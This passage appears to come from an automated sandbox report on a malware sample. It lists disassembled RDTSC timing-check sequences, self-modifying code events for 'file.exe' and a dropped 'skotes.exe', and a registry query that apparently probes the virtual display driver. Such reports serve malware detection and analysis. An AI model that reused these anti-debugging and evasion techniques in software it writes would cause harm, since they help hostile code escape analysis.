Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B5C37A second address: B5C3D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007FEC7CD69BF8h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Ah 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 jg 00007FEC7CD69BFCh 0x00000027 call 00007FEC7CD69C04h 0x0000002c cld 0x0000002d pop esi 0x0000002e push 00000000h 0x00000030 sbb ecx, 4A6156CBh 0x00000036 push 4418BBA0h 0x0000003b push ecx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B5C3D6 second address: B5C452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEC7C7C7EA6h 0x0000000a popad 0x0000000b pop ecx 0x0000000c xor dword ptr [esp], 4418BB20h 0x00000013 sub si, 2A19h 0x00000018 push 00000003h 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007FEC7C7C7EA8h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 sub dword ptr [ebp+122D17DDh], edi 0x0000003a push 00000000h 0x0000003c jmp 00007FEC7C7C7EB7h 0x00000041 push 00000003h 0x00000043 call 00007FEC7C7C7EB5h 0x00000048 pop ecx 0x00000049 push A9AF32FFh 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 push edi 0x00000052 pop edi 0x00000053 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B6D128 second address: B6D142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69C05h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B6D142 second address: B6D147 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B47B52 second address: B47B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69C00h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007FEC7CD69BFCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B47B71 second address: B47B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B47B7A second address: B47B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B47B81 second address: B47B91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EAAh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7A506 second address: B7A50C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7A79F second address: B7A7A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7A7A5 second address: B7A7A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7A7A9 second address: B7A7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEC7C7C7EB1h 0x0000000f ja 00007FEC7C7C7EA6h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7AA8D second address: B7AA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7ABFA second address: B7AC00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7AC00 second address: B7AC08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B72FEA second address: B72FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B42B1C second address: B42B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FEC7CD69C00h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B42B31 second address: B42B3B instructions: 0x00000000 rdtsc 0x00000002 je 00007FEC7C7C7EAEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B42B3B second address: B42B44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7B78C second address: B7B791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7B791 second address: B7B7A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C00h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7BA78 second address: B7BA8D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEC7C7C7EB7h 0x00000008 jmp 00007FEC7C7C7EABh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7BD60 second address: B7BD64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7BD64 second address: B7BD70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FEC7C7C7EA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7E168 second address: B7E173 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FEC7CD69BF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7E173 second address: B7E179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B7E179 second address: B7E181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B4CD31 second address: B4CD3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FEC7C7C7EA6h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B4CD3E second address: B4CD6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69BFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEC7CD69C04h 0x00000012 jl 00007FEC7CD69BF6h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B87702 second address: B87709 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B87DDF second address: B87DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B8B6DD second address: B8B6E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B8B6E2 second address: B8B703 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B8C296 second address: B8C29A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B8C29A second address: B8C2A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B8C32E second address: B8C334 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B8C334 second address: B8C344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC7CD69BFCh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B8C344 second address: B8C3B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jbe 00007FEC7C7C7EB6h 0x00000012 ja 00007FEC7C7C7EB0h 0x00000018 xchg eax, ebx 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007FEC7C7C7EA8h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 nop 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FEC7C7C7EB6h 0x0000003b rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B8C3B2 second address: B8C3D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007FEC7CD69BF6h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B8C3D3 second address: B8C3E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B8C55A second address: B8C577 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEC7CD69BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FEC7CD69BFDh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B8CE81 second address: B8CE86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B8D80E second address: B8D813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B8D813 second address: B8D881 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FEC7C7C7EA6h 0x00000009 jno 00007FEC7C7C7EA6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 mov edi, 569E7442h 0x0000001a push 00000000h 0x0000001c pushad 0x0000001d mov dword ptr [ebp+122D1DBBh], ecx 0x00000023 call 00007FEC7C7C7EB2h 0x00000028 push eax 0x00000029 pop ebx 0x0000002a pop ecx 0x0000002b popad 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007FEC7C7C7EA8h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 movsx edi, dx 0x0000004b mov esi, dword ptr [ebp+122D19D2h] 0x00000051 xchg eax, ebx 0x00000052 push eax 0x00000053 push edx 0x00000054 jnl 00007FEC7C7C7EA8h 0x0000005a rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B90037 second address: B9004F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 jno 00007FEC7CD69BF6h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007FEC7CD69BF6h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B90B35 second address: B90B97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov si, 1547h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007FEC7C7C7EA8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c call 00007FEC7C7C7EACh 0x00000031 mov esi, 21374E52h 0x00000036 pop esi 0x00000037 push 00000000h 0x00000039 mov edi, esi 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FEC7C7C7EB2h 0x00000043 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B90B97 second address: B90BB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC7CD69C09h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B915F9 second address: B91614 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007FEC7C7C7EA6h 0x0000000d jne 00007FEC7C7C7EA6h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B92059 second address: B9205F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B94884 second address: B948A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e ja 00007FEC7C7C7EA6h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B957AB second address: B95809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp], eax 0x00000009 jbe 00007FEC7CD69BFCh 0x0000000f mov dword ptr [ebp+124720C4h], ebx 0x00000015 push 00000000h 0x00000017 mov bx, cx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007FEC7CD69BF8h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000019h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 movsx edi, di 0x00000039 mov ebx, 06D4B835h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 pushad 0x00000043 popad 0x00000044 jmp 00007FEC7CD69C02h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B98E0F second address: B98E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B98E15 second address: B98E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEC7CD69BF6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B99491 second address: B994AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B994AC second address: B994B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B994B0 second address: B994CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B994CD second address: B994D2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B9A315 second address: B9A31F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEC7C7C7EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B9C2BD second address: B9C348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007FEC7CD69BFCh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f adc ebx, 29454184h 0x00000015 sbb ebx, 2774E434h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FEC7CD69BF8h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 pushad 0x00000038 mov di, 208Ch 0x0000003c popad 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ebp 0x00000042 call 00007FEC7CD69BF8h 0x00000047 pop ebp 0x00000048 mov dword ptr [esp+04h], ebp 0x0000004c add dword ptr [esp+04h], 00000018h 0x00000054 inc ebp 0x00000055 push ebp 0x00000056 ret 0x00000057 pop ebp 0x00000058 ret 0x00000059 mov edi, eax 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f jmp 00007FEC7CD69C07h 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B9C348 second address: B9C34D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B9C34D second address: B9C368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC7CD69C07h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B9D36F second address: B9D3BC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FEC7C7C7EACh 0x0000000c jno 00007FEC7C7C7EA6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edi 0x00000015 jmp 00007FEC7C7C7EAFh 0x0000001a pop edi 0x0000001b nop 0x0000001c mov dword ptr [ebp+122D1830h], ebx 0x00000022 push 00000000h 0x00000024 mov edi, dword ptr [ebp+122D19DCh] 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+122D1DE3h], edx 0x00000032 xchg eax, esi 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushad 0x00000037 popad 0x00000038 jmp 00007FEC7C7C7EAAh 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B9E4A1 second address: B9E541 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FEC7CD69BFDh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FEC7CD69C05h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007FEC7CD69BF8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c add edi, 4E771572h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007FEC7CD69BF8h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 00000017h 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e push 00000000h 0x00000050 mov ebx, 0AC23838h 0x00000055 jmp 00007FEC7CD69BFCh 0x0000005a xchg eax, esi 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FEC7CD69C06h 0x00000062 rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B9B5A3 second address: B9B5BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B9E541 second address: B9E55D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007FEC7CD69BF6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jc 00007FEC7CD69C04h 0x00000013 pushad 0x00000014 jl 00007FEC7CD69BF6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	RDTSC instruction interceptor: First address: B9F52B second address: B9F5A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 mov edi, 4F900F4Dh 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FEC7C7C7EA8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 call 00007FEC7C7C7EB8h 0x0000002e add ebx, dword ptr [ebp+122D2A1Eh] 0x00000034 pop ebx 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007FEC7C7C7EA8h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 0000001Ch 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 xchg eax, esi 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 pop eax 0x00000057 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A0FCBF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BB242E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A0D0EA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BC5CDC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C3DF47 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Special instruction interceptor: First address: 9DEA76 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Special instruction interceptor: First address: B80563 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Special instruction interceptor: First address: 9DC532 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Special instruction interceptor: First address: BA8C02 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 56EA76 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 710563 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 56C532 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 738C02 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
